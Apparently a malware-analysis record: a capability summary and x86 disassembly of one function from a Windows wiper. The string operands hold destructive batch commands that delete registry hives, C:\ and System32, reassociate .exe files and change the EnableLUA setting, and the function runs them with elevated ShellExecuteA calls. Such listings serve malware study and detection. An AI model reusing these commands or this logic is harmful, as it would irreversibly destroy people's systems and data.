Function at 0x40346e
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xd4
lea eax, [ebp - 0x95]
mov ecx, eax
call fcn.0045da20
lea eax, [ebp - 0xb0]
lea edx, [ebp - 0x95]
mov dword [esp + 4], edx
mov dword [esp], str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_1__f
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x79]
mov ecx, eax
call fcn.0045da20
lea eax, [ebp - 0x94]
lea edx, [ebp - 0x79]
mov dword [esp + 4], edx
mov dword [esp], str.C:Windows_ff.bat
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xb0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x94]
mov dword [esp], eax
call sym.writeFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea eax, [ebp - 0x94]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x79]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0xb0]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x95]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.C:Windows_ff.bat
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
lea eax, [ebp - 0x5d]
mov ecx, eax
call fcn.0045da20
lea eax, [ebp - 0x78]
lea edx, [ebp - 0x5d]
mov dword [esp + 4], edx
mov dword [esp], str.assoc_.exe.mp3_nreg_delete_HKCU__f_nreg_delete_HKLM__f_nreg_delete_HKCR__f_nreg_delete_HKCC__f_ndel_C:.__f_s_q
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x41]
mov ecx, eax
call fcn.0045da20
lea eax, [ebp - 0x5c]
lea edx, [ebp - 0x41]
mov dword [esp + 4], edx
mov dword [esp], str.C:WindowsR.I.P.bat
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x78]
mov dword [esp + 4], eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym.writeFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea eax, [ebp - 0x5c]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x41]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x78]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x5d]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.C:WindowsR.I.P.bat
mov dword [esp + 4], str.runas
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
lea eax, [ebp - 0x25]
mov ecx, eax
call fcn.0045da20
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x25]
mov dword [esp + 4], edx
mov dword [esp], str._echo_off_ndel_C:WindowsSystem32__f_s_q
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 9]
mov ecx, eax
call fcn.0045da20
lea eax, [ebp - 0x24]
lea edx, [ebp - 9]
mov dword [esp + 4], edx
mov dword [esp], str.C:WindowsR.P.bat
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x40]
mov dword [esp + 4], eax
lea eax, [ebp - 0x24]
mov dword [esp], eax
call sym.writeFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea eax, [ebp - 0x24]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x40]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x25]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.C:WindowsR.P.bat
mov dword [esp + 4], str.runas
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
jmp 0x403786
mov ebx, dword [ebp - 4]
leave
ret